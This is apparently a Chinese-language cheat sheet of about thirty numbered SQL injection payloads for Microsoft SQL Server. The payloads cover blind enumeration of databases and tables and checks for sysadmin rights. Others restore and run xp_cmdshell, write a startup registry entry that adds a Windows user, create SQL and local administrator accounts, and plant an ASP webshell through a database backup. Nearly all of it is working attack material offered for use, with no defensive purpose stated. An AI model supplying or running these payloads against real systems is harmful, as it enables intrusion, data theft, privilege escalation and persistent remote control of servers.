MsSql注射资料

1、返回的是连接的数据库名
and db_name()>0
2、作用是获取连接用户名
and user>0
3、将数据库备份到Web目录下面
;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
4、显示SQL系统版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判断xp_cmdshell扩展存储过程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢复xp_cmdshell扩展存储的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向启动组中写入命令行和执行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看当前的数据库名称
and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--
9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)
10、则把得到的数据内容全部备份到WEB目录下
;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db'
11、通过复制CMD创建UNICODE漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe"
12、遍历系统的目录结构,分析结果并发现WEB虚拟目录
先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;--
通过查询temp的内容来获得驱动器列表及相关信息
(2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)
13、查看某个文件的内容,可以通过执行xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、将一个文本文件插入到一个临时表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
;delete from temp;--
16、浏览TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名
17、猜解所有数据库名称
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名
18、猜解数据库中用户名表的名称
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
19、判断是否是sysadmin权限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判断是否是SA用户
'sa'=(SELECT System_user)
21、查看数据库角色
;use model--
22、查看库名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、获得第一个用户建立表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假设要获得数据库是TestDB.dbo
24、获得第二个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、获得第三个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''中为第二个用户名
26、获得第四个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0 '',''中为第二,三个用户名
27、获得表中记录的条数
and (select count(*) from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等
28、测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';
请求的时候,像这样子用:
https://ip/l.asp?c=dir

评论